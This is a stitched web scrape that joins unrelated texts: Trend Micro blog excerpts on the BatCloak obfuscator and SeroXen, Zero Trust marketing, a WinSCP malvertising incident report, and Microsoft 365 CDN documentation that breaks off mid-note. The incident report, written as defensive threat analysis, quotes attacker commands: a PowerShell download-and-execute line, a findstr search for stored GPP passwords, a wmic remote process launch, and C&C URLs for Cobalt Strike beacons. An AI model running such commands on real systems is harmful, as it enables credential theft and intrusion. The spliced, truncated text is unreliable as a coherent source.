Overall, SeroXen is a full-feature remote administration tool (RAT) coded in C# and built using a combination of various open-source projects that work together to generate a FUD payload. Reportshaveemerged of SeroXen being abused for several infections and attacks. We foresee the evolved BatCloak engine at the core of SeroXen’s FUD capabilities as the BatCloak obfuscation engine continues to evolve and be used as a FUD tool for future malware attacks.
Individuals are strongly advised to adopt a skeptical stance when encountering links and software packages associated with terms such as “cheats,” “hacks,” “cracks,” and other pieces of software related to gaining a competitive edge. Users, developers, gamers, and enthusiasts are also advised to exercise caution when executing batch files obtained from the internet. Additionally, organizations are encouraged to stay vigilant against phishing attacks that might attempt to entice users to download and run batch installers (e.g., scripting and automation of repetitive tasks).
Organizations should consider employing a cutting edge multilayered defensive strategy and comprehensive security solutions, such as Trend Micro™ XDR, that can detect, scan, and block malicious content such as SeroXen and BatCloak across the modern threat landscape. An extended detection and response capability across endpoint, servers, workloads, email, network, cloud, and identity observed from a single platform like Trend Vision One™️ can mitigate these risks by considering adversarial tactics, techniques, and procedures (TTPs) to profile the entirety of a routine. Learn more about how the Zero Day Initiative (ZDI) bug bounty program rewards researchers for responsible vulnerability disclosure as well as protects organizations globally and stay up to date on the latest news regarding mission critical security patches.
By: Peter Girnus, Aliakbar Zahravi June 09, 2023 Read time: 3 min (681 words)
We look into BatCloak engine, its modular integration into modern malware, proliferation mechanisms, and interoperability implications as malicious actors take advantage of its fully undetectable (FUD) capabilities.
UPDATE as of 6/15/2023 7:30PM (PHT): We’ve updated this entry to include indicators of compromise (IOCs) for BatCloak.
In our recent investigation, we discovered the use of heavily obfuscated batch files utilizing the advanced BatCloak engine to deploy various malware families at different instances. Running analysis and sample collection from September 2022 to June 2023, we found that these batch files are designed to be fully undetectable (FUD) and have demonstrated a remarkable ability to persistently evade security solutions. As a result, threat actors can load various malware families and exploits by leveraging highly obfuscated batch files seamlessly. Our initial research titled “The Dark Evolution: Advanced Malicious Actors Unveil Malware Modification Progression” delves into the continuing evolution of BatCloak, uncovering the modifications that have propelled modern malware to new levels of security evasion.
This is the first entry in a three-part technical research series taking an in-depth look at the continuing evolution of the highly evasive batch obfuscation engine BatCloak. The second part of this series, “SeroXen Incorporates Latest BatCloak Engine Iteration,” will look into the remote access trojan (RAT) SeroXen, a piece of malware gaining popularity for its stealth and, in its latest iterations, targets gamers, enthusiast communities, and organizations. Aside from the RAT’s own tools, we will look into the updated BatCloak engine included as SeroXen’s loading mechanism. The third and last part of this series, “SeroXen Mechanisms: Exploring Distribution, Risks, and Impact,” will detail the distribution mechanisms of SeroXen and BatCloak. We also include our security insights on the community and demographic impact of this level of sophistication when it comes to batch FUD obfuscation.
Defying detection: A preview of BatCloak engine’s efficacy
We analyzed hundreds of batch samples sourced from a public repository. The results showed a staggering 80% of the retrieved samples exhibiting zero detections from security solutions. This finding underscores the ability of BatCloak to evade traditional detection mechanisms employed by security providers. Moreover, when considering the overall sample set of 784, the average detection rate was less than one, emphasizing the challenging nature of identifying and mitigating threats associated with BatCloak-protected pieces of malware.
Understanding the evolving landscape of advanced malware techniques such as FUD obfuscator BatCloak enables us to develop more effective strategies for combating the ever-evolving threats posed by these sophisticated adversaries. These findings highlight the pressing need for enhanced approaches to malware detection and prevention, such as a cutting-edge multilayered defensive strategy and comprehensive security solutions.
Security teams and organizations are advised to exercise a zero-trust approach. Teams should implement solutions capable of combining multiple rules, filters, and analysis techniques, including data stacking and machine learning to address the need for precise detection, as these tools can analyze individual and dynamic file signatures and observe patterns via heuristics and behavioral analysis. When uncertain of intrusions, behaviors, and routines, assume compromise or breach immediately to isolate affected artifacts or tool chains. With a broader perspective and rapid response, an organization can address these and keep the rest of its systems protected. Multilayered technologies and solutions, such as Trend Micro XDR™️, efficiently monitor, detect, and block tiered threats and attacks, as well as their clones and modified versions.
Instead of marking the end of an infection or an attack prior to the target because of siloed solutions, an extended detection and response capability across endpoint, servers, workloads, email, network, cloud, and identity observed from a single platform like Trend Vision One™️ can mitigate these risks by considering adversarial tactics, techniques, and procedures (TTPs) to profile the entirety of a routine. Trend Vision One also correlates with a connected threat intelligence system and rapidly prioritizes and responds with the necessary security and defensive actions as far left of the routine as possible.
Download the first part of our analysis on BatCloak engine here, and the indicators of compromise (IOCs) here and below :
By: Trend Micro June 29, 2023 Read time: 5 min (1290 words)
Risk Management of Human and Machine Identity in a Zero Trust Security Context
In today’s business world’s dynamic and ever-changing digital landscape, organizations encounter escalating security challenges that demand a more business-friendly and pertinent approach. Conventional security measures frequently lead to adverse effects on business operations.
However, the advent of Zero Trust security offers organizations the opportunity to embrace a risk-based response strategy that effectively mitigates these risks. The concept of identity is central to the effectiveness of security functions, which serves as a critical factor in guaranteeing the precision and security of transactions and data storage.
Identity and the Evolving Role of Humans and Machines
All security functions are fundamentally centered around identity. The statement, “Who did what to what, when,” encapsulates the core significance of identity in security. The accuracy and integrity of this statement rely on the accuracy and integrity of each identity clause. By ensuring the integrity of these identity clauses, organizations can automate the risk management process with high confidence in the outcomes.
Traditionally, security systems were designed assuming that human operators were solely responsible for all decisions made by machines. However, with the advent of computers and the increasing reliance on automated processes, this operator-centric model has become increasingly inadequate.
While humans and their associated accounts are often the primary targets of security measures, they merely represent the activity of the machines they interact with. In a Zero Trust deployment, embracing the concept of “machine as proxy human” becomes crucial. This approach allows organizations to apply security rules and surveillance to all devices, treating them like a malicious human is operating behind them.
By considering machines as proxy humans within the context of Zero Trust, organizations can extend security measures to encompass all devices and systems within their environment. This includes user devices, servers, IoT devices, and other interconnected components. Organizations can enforce strict access controls by treating machines as potential threat actors, applying behavioral analytics, and continuously monitoring for suspicious activities or deviations from expected behavior.
This shift in mindset enables organizations to proactively detect and respond to potential security threats, regardless of whether they originate from human actors or compromised machines. It allows for a more comprehensive and robust security posture, as security measures are applied at the device level, reducing the risk of unauthorized access, data breaches, and other security incidents.
Recognizing the centrality of identity in security and embracing the concept of “machine as proxy human” in a Zero Trust deployment enhances the effectiveness and comprehensiveness of security measures. By treating all devices as potential threat actors and applying security rules and surveillance accordingly, organizations can strengthen their risk management process, automate security controls, and mitigate the risks associated with human and machine-based security threats.
Applying Zero Trust to Machine-Human Approach
Treating all accounts, human or not, as machine/service accounts offer architectural flexibility in a Zero Trust environment. This approach allows organizations to apply consistent security measures to unknown devices, users, networks, and known entities, regardless of how frequently they change.
However, harmonized identity telemetry is crucial for this machine-human approach to be effective. Subscriber Identity Modules (SIM cards) and additional credentials facilitate Zero Trust management in 4G and 5G environments.
Organizations can incorporate a Software Bill of Materials (SBOM) into their Zero Trust solution to address the risks associated with the software. A SBOM is a comprehensive inventory that identifies the software components within an organization’s infrastructure, including internally developed and third-party/vendor-provided software.
By implementing a SBOM in a Zero Trust environment, organizations can establish a baseline for expected software behavior. This baseline includes the software’s version, dependencies, and associated digital signatures. Any deviations from this baseline can be identified as potential security threats or indicators of compromise.
One of the significant advantages of incorporating SBOM into a Zero Trust solution is the ability to monitor unexpected behaviors. Organizations can detect any suspicious activities or unauthorized modifications by continuously monitoring the software components and comparing their actual behavior against the established baseline. This proactive monitoring helps incident responders and risk management teams identify potential threats early and respond effectively to mitigate the risks.
Furthermore, SBOM facilitates supply chain component mapping, crucial for incident response and risk management. With a detailed inventory of software components, organizations can trace the origin of each component and identify potential vulnerabilities or compromised elements within their supply chain. This mapping capability enhances incident response capabilities by providing visibility into the interconnectedness of various software components and their potential impact on the organization’s overall security.
Ultimately incorporating SBOM into a Zero Trust solution helps organizations address software-related risks more effectively. By establishing baselines for expected software behavior and monitoring for any deviations, organizations can detect and respond to potential threats promptly. SBOM also facilitates supply chain component mapping, enabling organizations to enhance their incident response capabilities and mitigate the risks associated with software vulnerabilities and compromises.
Recommendations
Zero Trust security offers a surveillance-based approach that continuously checks and cross-references identity, assesses behavioral risk, and compares it to potential losses and revenue. This approach brings several recommendations for organizations looking to enhance their security posture:
Changes to executive responsibility and board governance require the adoption of Zero Trust security With the increasing importance of cybersecurity in today’s digital landscape, executive leadership, and board members need to prioritize and understand the significance of Zero Trust security. This includes making it a strategic focus and allocating resources for its implementation. By recognizing the value of Zero Trust and incorporating it into governance structures, organizations can ensure a top-down commitment to robust security practices.
Zero Trust can help organizations meet government and customer requirements for supply chain resiliency Supply chains have become more vulnerable to cyber threats, and government regulations and customer expectations emphasize supply chain resiliency. Zero Trust security measures can provide transparency, control, and trust within the supply chain ecosystem. Organizations can demonstrate their commitment to supply chain security and meet compliance requirements by establishing rigorous authentication, continuous monitoring, and granular access controls.
Operational risk management automation tools in Zero Trust can streamline security management and reduce enterprise risk and total cost of ownership Zero Trust security frameworks offer automation tools that streamline security management processes. Organizations can reduce human error and enhance operational efficiency by automating tasks such as identity verification, access controls, and threat detection. This automation minimizes security risks and reduces the total cost of ownership associated with managing complex security infrastructures.
Simplification of security management in Zero Trust can address the security skills gap by enabling reliance on junior or offshore staff for incident diagnoses The shortage of skilled cybersecurity professionals is a significant challenge for many organizations. Zero Trust can alleviate this skills gap by simplifying security management and enabling the reliance on junior or offshore staff for incident diagnoses. With streamlined processes, intuitive security controls, and automated monitoring, organizations can empower less experienced staff to effectively handle security incidents, optimizing resources and addressing the skills shortage.
By prioritizing identity integrity and leveraging the benefits of Zero Trust, organizations can establish a robust security framework that maximizes enterprise functionality while minimizing risk. In an increasingly unstable world where cyber threats continue to evolve, adopting a sophisticated, nuanced, and cost-effective security approach such as Zero Trust becomes essential for organizations to thrive and maintain resilience in the face of emerging challenges.
Ready to take your organization’s security to the next level? Download our comprehensive report on “Zero Trust: Enforcing Business Risk Reduction Through Security Risk Reduction” to gain valuable insights and practical strategies for implementing a business-friendly security approach. Discover how Zero Trust can minimize negative impacts, enhance risk management, and safeguard digital assets. Click here to download the report now!
By: Lucas Silva, RonJay Caragay, Arianne Dela Cruz, Gabriel Cardoso June 30, 2023 Read time: 7 min (1889 words)
Recently, the Trend Micro incident response team engaged with a targeted organization after having identified highly suspicious activities through the Targeted Attack Detection (TAD) service. In the investigation, malicious actors used malvertising to distribute a piece of malware via cloned webpages of legitimate organizations. In this case, the distribution involved a webpage of the well-known application WinSCP, an open-source Windows application for file transfer.
Advertising platforms like Google Ads enable businesses to display advertisements to target audiences to boost traffic and increase sales. Malware distributors abuse the same functionality in a technique known as malvertising, where chosen keywords are hijacked to display malicious ads that lure unsuspecting search engine users into downloading certain types of malware.
The targeted organization conducted a joint investigation with the Trend team and discovered that cybercriminals performed the following unauthorized and malicious activities within the company’s network:
Stole top-level administrator privileges and used these privileges to conduct unauthorized activities
Attempted to establish persistence and backdoor access to the customer environment using remote management tools like AnyDesk
Attempted to steal passwords and tried to access backup servers
It is highly likely that the enterprise would have been substantially affected by the attack if intervention had been sought later, especially since the threat actors had already succeeded in gaining initial access to domain administrator privileges and started establishing backdoors and persistence.
The following chart represents how the infection starts.
In the following sections, we discuss the details of this case: how threat actors made the initial access, what kind of attacks they carried out, and the lessons that can be drawn from this event.
Deep dive into the infection chain
The infection starts once the user searches for “WinSCP Download” on the Bing search engine. A malicious ad for the WinSCP application is displayed above the organic search results. The ad leads to a suspicious website containing a tutorial on how to use WinSCP for automating file transfer.
From this first page, the user is then redirected to a cloned download webpage of WinSCP (winsccp[.]com). Once the user selects the “Download” button, an ISO file is downloaded from an infected WordPress webpage (hxxps://events.drdivyaclinic[.]com). Recently, the malicious actor changed their final stage payload URL to the file-sharing service 4shared.
The overall infection flow involves delivering the initial loader, fetching the bot core, and ultimately, dropping the payload, typically a backdoor.
In summary, the malicious actor uses the following malvertising infection chain:
A user searches for an application by entering a search term in a search bar (such as Google or Bing). In this example, the user wants to download the WinSCP application and enters the search term “WinSCP Download” on the Bing search bar.
Above the organic search results, the user finds a malvertisement for the WinSCP application that leads to a malicious website.
Once the user selects the “Download” button, this begins the download of an ISO file to their system.
On Twitter, user @rerednawyerg first spotted the same infection chain mimicking the AnyDesk application. Once the user mounts the ISO, it contains two files, setup.exe and msi.dll. We list the details of these two files here:
Setup.exe: A renamed msiexec.exe executable
Msi.dll: A delayed-loaded DLL (not loaded until a user’s code attempts to reference a symbol contained within the DLL) that will act as a dropper for a real WinSCP installer and a malicious Python execution environment responsible for downloading Cobalt Strike beacons.
Once setup.exe is executed, it will call the msi.dll that will later extract a Python folder from the DLL RCDATA section as a real installer for WinSCP to be installed on the machine. Two installations of Python3.10 will be created — a legitimate python installation in %AppDataLocal%\Python-3.10.10 and another installation in %Public%\Music\python containing a trojanized python310.dll. Finally, the DLL will create a persistence mechanism to make a run key named “Python” and the value C:\Users\Public\Music\python\pythonw.exe.
When the executable pythonw.exe starts, it loads a modified/trojanized obfuscated python310.dll that contains a Cobalt Strike beacon that connects to 167[.]88[.]164[.]141.
The following command-and-control (C&C) servers are used to obtain the main beacon module:
File name
C&C
pp.py
hxxps://167.88.164.40/python/pp2
work2.py
hxxps://172.86.123.127:8443/work2z
work2-2.py
hxxps://193.42.32.58:8443/work2z
work3.py
hxxps://172.86.123.226:8443/work3z
Multiple scheduled tasks executing batch files for persistence were also created in the machine. These batch files execute Python scripts leading to in-memory execution of Cobalt Strike beacons. Interestingly, the Python scripts use the marshal module to execute a pseudo-compiled (.pyc) code that is leveraged to download and execute the malicious beacon module in memory.
The Trend Vision One™ platform was able to generate the following Workbench for the previously mentioned kill chain.
The threat actor used a few other tools for discovery in the customer’s environment. First, they used AdFind, a tool designed to retrieve and display information from Active Directory (AD) environments. In the hands of a threat actor, AdFind can be misused for enumeration of user accounts, privilege escalation, and even password hash extraction.
In this case, the threat actor used it to fetch information on the operating system using the command adfind.exe -f objectcategory=computer -csv name cn OperatingSystem dNSHostName. The command specifies that it wants to retrieve the values of the name, common name (CN), operating system, and dNSHostName attributes for each computer object and output its result in a CSV format.
The threat actor used the following PowerShell command to gather user information and to save it into a CSV file:
We also observed that the threat actor used AccessChk64, a command-line tool developed by Sysinternals that is primarily used for checking the security permissions and access rights of objects in Windows. Although the threat actor’s purpose for using the tool in this instance is not clear, it should be noted that the tool can be used for gaining insights on what permissions are assigned to users and groups, as well as for privilege escalation and the identification of files, directories, or services with weak access control settings.
The threat actor then used findstr, a command-line tool in Windows used for searching strings or regular expressions within files by using the command findstr /S /I cpassword \\<REDACTED>\sysvol\<REDACTED>\policies\*.xml.
It is possible that the purpose of this command is to identify any XML files that contain the string cpassword. This is interesting from a security context since cpassword is associated with a deprecated method of storing passwords in Group Policy Preferences within AD.
We also observed the execution of scripts with PowerShell. For instance, the command IEX (New-Object Net.Webclient).DownloadString(‘hxxp://127[.]0[.]0[.]1:40347/’); Invoke-FindLocalAdminAccess -Thread 50” it invokes a PowerShell function called Invoke-FindLocalAdminAccess and passes the parameter -Thread with a value of 50. This function is likely part of a script that performs actions related to finding local administrator access on a system.
Another PowerShell script used by the threat actor was PowerView. PowerView, which belongs to the PowerSploit collection of scripts used to assist in penetration testing and security operations, focuses on AD reconnaissance and enumeration and is commonly used by threat actors to gather information about the AD environment.
PowerShell Expand-Archive command was used to extract the ZIP files.
WMI was used to launch CoBeacon remotely across the environment.
C:\WINDOWS\system32\cmd.exe /C wmic /NODE:”<REDACTED>” process call createC:\users\public\videos\python\pythonw.exe C:\users\public\videos\python\work2-2.py
To obtain high-privileged credentials and escalate privileges, the threat actor used a Python script also containing the marshal module to execute a pseudo-compiled code for LaZagne. Another script to obtain Veeam credentials following the same structure was also identified in the environment.
PsExec, BitsAdmin, and curl were used to download additional tools and to move laterally across the environment.
The threat actor dropped a detailed KillAV BAT script (KillAV is a type of malicious software specifically designed to disable or bypass antivirus or antimalware programs installed on a target system) to tamper with Trend protections. However, due to the agent’s Self-Protection features and VSAPI detections, the attempt failed. The threat actors also made attempts to stop Windows Defender through a different KillAV BAT script.
Finally, the threat actor installed the AnyDesk remote management tool (renamed install.exe) in the environment to maintain persistence.
After a diligent and proactive response, the attacker was successfully evicted from the network before they could reach their goal or execute their final payload. The incident response team also presented immediate countermeasures as well as medium- and long-term security procedures for implementation.
BlackCat uses the same tools, techniques, and procedures (TTPs)
In another investigation, following the same TTPs described previously described, we were able to identify that this activity led to a BlackCat (aka ALPHV) infection. Along with other types of malware and tools already mentioned, we were able to identify the use of the anti-antivirus or anti-endpoint detection and response (EDR) SpyBoyterminator in an attempt to tamper with protection provided by agents.
In order to exfiltrate the customer data, the threat actor used PuTTY Secure Copy client (PSCP) to transfer the gathered information. Investigating one of the C&C domains used by the threat actor behind this infection also led to the discovery of a possible related Cl0p ransomware file.
Conclusion and recommendations
In recent years, attackers have become increasingly adept at exploiting vulnerabilities that victims themselves are unaware of and have started employing behaviors that organizations do not anticipate. In addition to a continuous effort to prevent any unauthorized access, early detection and response within an organization’s network is critical. Immediacy in remediation is also essential, as delays in reaction time could lead to serious damage.
By understanding attack scenarios in detail, organizations can not only identify vulnerabilities that could lead to compromise and critical damage but also take necessary measures to prevent them.
Organizations can protect themselves by taking the following security measures:
Educate employees about phishing. Conduct training sessions to educate employees about phishing attacks and how to identify and avoid them. Emphasize the importance of not selecting suspicious links and not downloading files from unknown sources.
Monitor and log activities. Implement a centralized logging system to collect and analyze logs from various network devices and systems. Monitor network traffic, user activities, and system logs to detect any unusual or suspicious behavior.
Define normal network traffic for normal operations. Defining normal network traffic will help identify abnormal network traffic, such as unauthorized access.
Improve incident response and communication. Develop an incident response plan to guide your organization’s response in case of future breaches. Establish clear communication channels to inform relevant stakeholders, including employees, customers, and regulatory bodies, about a breach and the steps being taken to address it.
Engage with a cybersecurity professional. If your organization lacks the expertise or resources to handle the aftermath of a breach effectively, consider engaging with a reputable cybersecurity firm to assist with incident response, forensic analysis, and security improvements.
Indicators of Compromise (IOCs)
The full list of IOCs can be found here and below :
By: Trend Micro June 27, 2023 Read time: 4 min (1183 words)
Organizations face increasingly sophisticated cyber threats and vulnerabilities in today’s rapidly evolving digital landscape. Traditional security models can no longer protect sensitive data and mitigate risks. This is where Zero Trust comes into play, offering a comprehensive approach to security that can help organizations tackle emerging challenges.
In this article, we will explore how Zero Trust can benefit your organization, focusing on its ability to enhance security, secure supply chains, and align with international regulatory frameworks.
How Zero Trust Helps Your Organization
Zero Trust is designed to seek and eliminate shadow IT and inefficiencies within an organization. This approach can help reduce both operational and capital costs, effectively minimizing enterprise risks. Zero Trust also improves data hygiene by identifying systems with higher-than-average data risks, ensuring a more secure data environment.
Implementing Zero Trust also allows organizations to reduce the risk of brand-impacting security incidents and customer-facing outages. Zero Trust ensures uninterrupted business operations. Moreover, it provides fine-grained control over roaming and data sovereignty, granting organizations greater flexibility and security.
Moreover, Zero Trust enables multiple business functions to utilize a single access method. This consolidation improves security measures while reducing customers’ effort to complete transactions, ultimately enhancing the overall customer experience.
Zero Trust can be leveraged in numerous use cases, addressing different organizational security and risk management needs. Its versatility and adaptability make it a practical approach to securing digital environments effectively.
Secure Supply Chain Assurance: Importance and Zero Trust Applications
Zero Trust is crucial in securing the supply chain, as it helps identify revenue-impacting vulnerability chains within an enterprise. These chains can include business processes, security processes, and supply chains, collectively referred to as the attack surface.
Organizations can proactively identify and break potential kill chains within the supply chain by utilizing Zero Trust principles. Attack Surface Mapping and Cyber Asset Attack Surface Mapping (CAASM) enable the scanning and mitigating of current, potential, and near-miss supply chain attacks, reducing the risk of cascading failures.
Attack Surface Mapping involves identifying and mapping all the possible entry points, weaknesses, and exposure areas in an organization’s network, systems, and applications. It provides a comprehensive view of the organization’s attack surface, including external-facing systems and internal assets and connections.
Cyber Asset Attack Surface Mapping (CAASM) focuses explicitly on the assets within an organization’s supply chain. It examines the digital assets and dependencies in the supply chain ecosystem, including third-party vendors, partners, and interconnected systems. By analyzing the attack surface of the supply chain, organizations can identify potential weaknesses and vulnerabilities that attackers could exploit.
These mapping techniques enable organizations to proactively scan and assess their current security posture, identify potential risks, and prioritize mitigation efforts. Organizations can take appropriate measures to strengthen their defenses, patch vulnerabilities, and implement security controls by understanding the attack surface and potential attack vectors.
Zero Trust Frameworks: DISA NSA vs. NIST
Zero Trust frameworks can vary based on organizational needs and security requirements. The DISA NSA Zero Trust Reference Architecture is suitable for large critical infrastructure entities, while the NIST approach caters to entities in the early stages of their security maturity journey.
The DISA NSA framework provides a comprehensive and adaptable blueprint, focusing on Device Trust, User Trust, Data Trust, and Network Trust. Organizations can establish trust across various infrastructure components by implementing rigorous authentication, authorization, and continuous monitoring. This approach enhances risk management accuracy and reduces infrastructure costs, making it suitable for large critical infrastructure entities.
On the other hand, the NIST approach follows a risk-based strategy, emphasizing continuous monitoring, granular access controls, and dynamic policy enforcement. It promotes a “never trust, always verify” mindset, advocating for robust authentication mechanisms, network segmentation, and encryption. This framework offers flexibility and scalability, making it well-suited for organizations at various stages of their security maturity journey.
To leverage the strengths of both frameworks, organizations can incorporate complementary design elements tailored to their specific needs. Organizations can establish a robust Zero Trust architecture that addresses their unique security requirements by combining the DISA NSA and NIST approaches.
Ultimately, implementing Zero Trust principles provides organizations with a proactive and holistic security approach, reducing the risk of breaches, protecting sensitive data, and ensuring the resilience of their infrastructure. By embracing these frameworks, organizations can strengthen their security posture and effectively combat the ever-evolving cyber threats of today’s digital landscape.
Zero Trust and International Regulatory Frameworks
Zero Trust is a security framework that has gained significant attention and adoption in recent years. It aligns with various international regulatory frameworks, ensuring organizations meet stringent data protection, privacy, and security requirements.
General Data Protection Regulation (GDPR)
Zero Trust principles align closely with the core principles of GDPR, which emphasize the protection of personal data, privacy, and accountability. By implementing Zero Trust measures, organizations establish robust security controls, mitigate the risk of data breaches, and protect personal data. Through solid authentication, access controls, data segmentation, and encryption, Zero Trust helps organizations meet GDPR requirements, ensuring compliance with data protection regulations.
California Consumer Privacy Act (CCPA)
The CCPA highlights the importance of safeguarding consumers’ personal information. Zero Trust principles provide valuable contributions to adequate data protection and privacy practices. With strong authentication mechanisms, data segmentation, and encryption, organizations can enhance their data security measures and meet CCPA obligations. Zero Trust’s emphasis on continuous monitoring and granular access controls ensures that organizations maintain control over the processing and sharing of personal information, thus meeting CCPA compliance requirements.
Payment Card Industry Data Security Standard (PCI DSS)
PCI DSS establishes rigorous security measures to protect cardholder data. Zero Trust provides a solid foundation for meeting PCI DSS requirements by focusing on secure access controls, continuous monitoring, and encryption. Zero Trust’s “never trust, always verify” principle aligns with the need for stringent authentication mechanisms and restricted access to cardholder data. Organizations can establish a robust security posture by implementing Zero Trust and maintaining compliance with the PCI DSS standards.
Zero Trust principles offer organizations a powerful approach to achieving compliance with international regulatory frameworks. By aligning with the General Data Protection Regulation (GDPR), California Consumer Privacy Act (CCPA), and Payment Card Industry Data Security Standard (PCI DSS), Zero Trust enhances data protection, privacy, and security practices. Conclusion
In an era of increasing cyber threats and supply chain vulnerabilities, adopting a Zero Trust approach is essential for organizations aiming to strengthen their security measures and ensure the integrity of their supply chains. By implementing Zero Trust principles, organizations can enhance security, streamline business functions, and align with international regulatory frameworks.
The versatility of Zero Trust frameworks, such as DISA NSA and NIST, allows organizations to tailor their security strategies to their specific needs. Embracing Zero Trust is a proactive step towards safeguarding sensitive data and critical operations and a crucial component of building trust with customers and partners in an ever-evolving digital landscape.
Download our comprehensive report on Zero Trust frameworks and their implementation strategies today. Gain valuable insights, practical guidance, and actionable steps to strengthen security measures. Click here to download the report and stay one step ahead in the ever-evolving digital landscape.
CDNs help keep Microsoft 365 fast and reliable for end users. Cloud services like Microsoft 365 use CDNs to cache static assets closer to the browsers requesting them to speed up downloads and reduce perceived end user latency. The information in this topic will help you learn about Content Delivery Networks (CDNs) and how they’re used by Microsoft 365.
What exactly is a CDN?
A CDN is a geographically distributed network consisting of proxy and file servers in datacenters connected by high-speed backbone networks. CDNs are used to reduce latency and load times for a specified set of files and objects in a web site or service. A CDN may have many thousands of endpoints for optimal servicing of incoming requests from any location.
CDNs are commonly used to provide faster downloads of generic content for a web site or service such as Javascript files, icons and images, and can also provide private access to user content such as files in SharePoint Online document libraries, streaming media files, and custom code.
CDNs are used by most enterprise cloud services. Cloud services like Microsoft 365 have millions of customers downloading a mix of proprietary content (such as emails) and generic content (such as icons) at one time. It’s more efficient to put images everyone uses, like icons, as close to the user’s computer as possible. It isn’t practical for every cloud service to build CDN datacenters that store this generic content in every metropolitan area, or even in every major Internet hub around the world, so some of these CDNs are shared.
How do CDNs make services work faster?
Downloading common objects like site images and icons over and over again can take up network bandwidth that can be better used for downloading important personal content, like email or documents. Because Microsoft 365 uses an architecture that includes CDNs, the icons, scripts, and other generic content can be downloaded from servers closer to client computers, making the downloads faster. This means faster access to your personal content, which is securely stored in Microsoft 365 datacenters.
CDNs help to improve cloud service performance in several ways:
CDNs shift part of the network and file download burden away from the cloud service, freeing up cloud service resources for serving user content and other services by reducing the need to serve requests for static assets.
CDNs are purpose built to provide low-latency file access by implementing high performance networks and file servers, and by leveraging updated network protocols such as HTTP/2 with highly efficient compression and request multiplexing.
CDN networks use many globally distributed endpoints to make content available as close as possible to users.
The Microsoft 365 CDN
The built-in Microsoft 365 Content Delivery Network (CDN) allows Microsoft 365 administrators to provide better performance for their organization’s SharePoint Online pages by caching static assets closer to the browsers requesting them, which helps to speed up downloads and reduce latency. The Microsoft 365 CDN uses the HTTP/2 protocol for improved compression and download speeds.
Note
The Microsoft 365 CDN is only available to tenants in the Production (worldwide) cloud. Tenants in the US Government, China and Germany clouds do not currently support the Microsoft 365 CDN.
The Microsoft 365 CDN is composed of multiple CDNs that allow you to host static assets in multiple locations, or origins, and serve them from global high-speed networks. Depending on the kind of content you want to host in the Microsoft 365 CDN, you can add public origins, private origins or both.
Content in public origins within the Microsoft 365 CDN is accessible anonymously, and can be accessed by anyone who has URLs to hosted assets. Because access to content in public origins is anonymous, you should only use them to cache non-sensitive generic content such as Javascript files, scripts, icons and images. The Microsoft 365 CDN is used by default for downloading generic resource assets like the Microsoft 365 client applications from a public origin.
Private origins within the Microsoft 365 CDN provide private access to user content such as SharePoint Online document libraries, sites and proprietary images. Access to content in private origins is secured with dynamically generated tokens so it can only be accessed by users with permissions to the original document library or storage location. Private origins in the Microsoft 365 CDN can only be used for SharePoint Online content, and you can only access assets through redirection from your SharePoint Online tenant.
The Microsoft 365 CDN service is included as part of your SharePoint Online subscription.
Although not a part of the Microsoft 365 CDN, you can use these CDNs in your Microsoft 365 tenant for access to SharePoint development libraries, custom code and other purposes that fall outside the scope of the Microsoft 365 CDN.
Azure CDN
Note
Beginning in Q3 2020, SharePoint Online will begin caching videos on the Azure CDN to support improved video playback and reliability. Popular videos will be streamed from the CDN endpoint closest to the user. This data will remain within the Microsoft Purview boundary. This is a free service for all tenants and it does not require any customer action to configure.
You can use the Azure CDN to deploy your own CDN instance for hosting custom web parts, libraries and other resource assets, which allows you to apply access keys to your CDN storage and exert greater control over your CDN configuration. Use of the Azure CDN isn’t free, and requires an Azure subscription.
Microsoft’s Ajax CDN is a read-only CDN that offers many popular development libraries including jQuery (and all of its other libraries), ASP.NET Ajax, Bootstrap, Knockout.js, and others.
To include these scripts in your project, simply replace any references to these publicly available libraries with references to the CDN address instead of including it in your project itself. For example, use the following code to link to jQuery:
For more information about how to use the Microsoft Ajax CDN, see Microsoft Ajax CDN.
How does Microsoft 365 use content from a CDN?
Regardless of what CDN you configure for your Microsoft 365 tenant, the basic data retrieval process is the same.
Your client (a browser or Office client application) requests data from Microsoft 365.
Microsoft 365 either returns the data directly to your client or, if the data is part of a set of content hosted by the CDN, redirects your client to the CDN URL.a. If the data is already cached in a public origin, your client downloads the data directly from the nearest CDN location to your client.b. If the data is already cached in a private origin, the CDN service checks your Microsoft 365 user account’s permissions on the origin. If you have permissions, SharePoint Online dynamically generates a custom URL composed of the path to the asset in the CDN and two access tokens, and returns the custom URL to your client. Your client then downloads the data directly from the nearest CDN location to your client using the custom URL.
If the data isn’t cached at the CDN, the CDN node requests the data from Microsoft 365 and then caches the data for time after your client downloads the data.
The CDN figures out the closest datacenter to the user’s browser and, using redirection, downloads the requested data from there. CDN redirection is quick, and can save users a lot of download time.
How should I set up my network so that CDNs work best with Microsoft 365?
Minimizing latency between clients on your network and CDN endpoints is the key consideration for ensuring optimal performance. You can use the best practices outlined in Managing Microsoft 365 endpoints to ensure that your network configuration permits client browsers to access the CDN directly rather than routing CDN traffic through central proxies to avoid introducing unnecessary latency.
Is there a list of all the CDNs that Microsoft 365 uses?
The CDNs in use by Microsoft 365 are always subject to change and in many cases there are multiple CDN partners configured in the event one is unavailable. The primary CDNs used by Microsoft 365 are:
CDN
Company
Usage
Link
Microsoft 365 CDN
Microsoft Azure
Generic assets in public origins, SharePoint user content in private origins
There are many factors involved in measuring specific differences in performance between data downloaded directly from Microsoft 365 and data downloaded from a specific CDN, such as your location relative to your tenant and to the nearest CDN endpoint, the number of assets on a page that are served by the CDN, and transient changes in network latency and bandwidth. However, a simple A/B test can help to show the difference in download time for a specific file.
The following screenshots illustrate the difference in download speed between the native file location in Microsoft 365 and the same file hosted on the Microsoft Ajax Content Delivery Network. These screenshots are from the Network tab in the Internet Explorer 11 developer tools. These screenshots show the latency on the popular library jQuery. To bring up this screen, in Internet Explorer, press F12 and select the Network tab, which is symbolized with a Wi-Fi icon.
This screenshot shows the library uploaded to the master page gallery on the SharePoint Online site itself. The time it took to upload the library is 1.51 seconds.
The second screenshot shows the same file delivered by Microsoft’s CDN. This time the latency is around 496 milliseconds. This is a large improvement and shows that a whole second is shaved off the total time to download the object.
Is my data safe?
We take great care to protect the data that runs your business. Data stored in the Microsoft 365 CDN is encrypted both in transit and at rest, and access to data in the Microsoft 365 SharePoint CDN is secured by Microsoft 365 user permissions and token authorization. Requests for data in the Microsoft 365 SharePoint CDN must be referred (redirected) from your Microsoft 365 tenant or an authorization token won’t be generated.
To ensure that your data remains secure, we recommend that you never store user content or other sensitive data in a public CDN. Because access to data in a public CDN is anonymous, public CDNs should only be used to host generic content such as web script files, icons, images and other non-sensitive assets.
Note
